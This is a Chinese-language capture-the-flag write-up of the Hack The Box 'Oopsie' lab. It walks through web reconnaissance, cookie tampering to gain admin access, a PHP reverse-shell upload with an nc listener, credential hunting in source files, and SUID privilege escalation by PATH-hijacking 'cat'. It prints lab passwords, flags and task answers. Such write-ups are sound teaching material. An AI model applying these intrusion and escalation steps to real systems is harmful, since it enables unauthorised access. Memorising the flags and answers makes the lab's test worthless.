hack the box tier2 Oopsie
HTB WP -Oopsie
task1:
1 | With what kind of tool can intercept web traffic? |
回答:
1 | proxy(代理) |
task2:
1 | What is the path to the directory on the webserver that returns a login page? |
先对容器进行初步探测,nmap扫一下:
1 | nmap -F 10.129.137.140 |
开了个http端口,浏览器访问一下:
找一下登录页面。这里要用到bp抓包(task1就提示了代理,代理对应着抓包),因为我的bp在kali上是社区版(最新版还没有破解版),所以这次我用了win环境来做(仅限抓包)。(win环境下我有bp专业版),先bp抓一下包:
然后我们在目标的配置文件里找到了Login的路径(login的js脚本):
1 | /cdn-cgi/login |
task3:
1 | What can be modified in Firefox to get access to the upload page? |
回到上面的那个登录页面,我们点击Login as Guest先登进去看看,看到一个上传页面,点一下:
显示需要admin权限。
我们在cookie里找到一些东西:
这给了我们一个方向,通过修改role,user的value值去改变权限,回到account:
看顶部的url参数:
1 | admin.php?content=accounts&id=2 |
我们作为guest访问的id为2,那么1呢,试试看:
id=1的时候是admin。而且我们得到了它的access id(也就是user那列对应的value),去cookie里修改:
刷新一下上传功能就解锁了:
当然这道题的答案是:
1 | cookie |
task4:
1 | What is the access ID of the admin user? |
回答:
1 | 34322 |
task5:
1 | On uploading a file, what directory does that file appear in on the server? |
看到admin.php,可以想到写个反向shell让服务器执行我们的php代码。
shell.php:
1 | <?php |
然后通过这个php去寻找路径:
1 | gobuster dir -u http://10.129.140.3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php |
-x是指定文件扩展名。
最后能扫到uploads:
返回你没权限访问,说明确实有这个路径。
答案就是:
1 | /uploads |
task6:
1 | What is the file that contains the password that is shared with the robert user? |
先不管这个问题,先把之前的反向shell做到。
开一个终端用来监听:
1 | nc -lvnp 1337 |
然后在uploads目录下访问shell.php,触发反向shell,终端监听并拦截shell:
然后我们再在shell里执行
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
产生一个可交互的伪终端。
和vaccine那个靶机一样,我们来看看源代码有没有什么可利用的东西:
这时候文件很多,不知道从哪下手,我们根据task6的目标:共享密码的文件,密码应该算是一个关键词,grep一下,密码又和login有关:
1 | cat * | grep -ir "passw" |
找到一个admin的账密:admin/MEGACORP_4dm1n!!
1 | cat /etc/passwd 用于查看系统中所有用户账户的信息 |
看到robert了,你用su robert用admin的密码去登录,登录不了,排除robert和admin共享密码。
那就继续找吧,因为题目是和密码有关,所以大概率还是login里的内容:
然后我就找到了这个。
1 | $conn = mysqli_connect('localhost', 'robert', 'M3g4C0rpUs3r!', 'garage'); |
共享的密码确实在这里。
所以答案就是:
1 | db.php |
对了,从前面的账户信息我们可以看到:
进入这个文件夹看看:
1 | cd /home/robert |
我们拿到user的flag了:
1 | f2c74ee8db7983851ab2a96a44eb7981 |
task7:
1 | What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group? |
组吗,那就得看id了:
然后我们可以用find命令查询(find就是这个task的答案):
1 | find / -group bugtracker 2>/dev/null |
1 | 2>/dev/null:用于屏蔽错误信息。/dev/null类似于垃圾场,2> 表示重定向标准错误输出 |
然后我们可以看看robert在这个组里的权限:
1 | ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker |
1 | -rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker |
1 | -:代表这是一个普通文件(如果是 d则是目录)。 |
1 | /usr/bin/bugtracker |
可以启动这个可执行文件。
可以看出来这个文件可能就是cat命令写的,我们可以利用这个漏洞。
先到一个可读写的目录tmp:
1 | cd /tmp |
1 | echo /bin/sh > cat |
然后给这个文件加一个可执行权限:
1 | chmod +x cat |
接下来我们要改变cat在这台机器上的运行方式,通过更改路径变量来实现:
1 | export PATH=/tmp:$PATH |
1 | echo $PATH可以验证 |
好了该收尾了,因为我们已经改变了bugtracker的路径变量导向到tmp目录,所以直接输入bugtracker即可执行bin目录下的可执行程序,而我们的新路径将被分配bin shell的方式:
因为我们的cat命令被覆盖了,所以我们用vim获得flag:
1 | vim /root/root.txt |
1 | af13b0bee69f8a877c3faf667f7beacf |
task8:
1 | Regardless of which user starts running the bugtracker executable, what's user privileges will use to run? |
回答:
1 | root |
task9:
1 | What SUID stands for? |
回答:
1 | Set owner User ID |
task10:
1 | What is the name of the executable being called in an insecure manner? |
回答:
1 | cat |
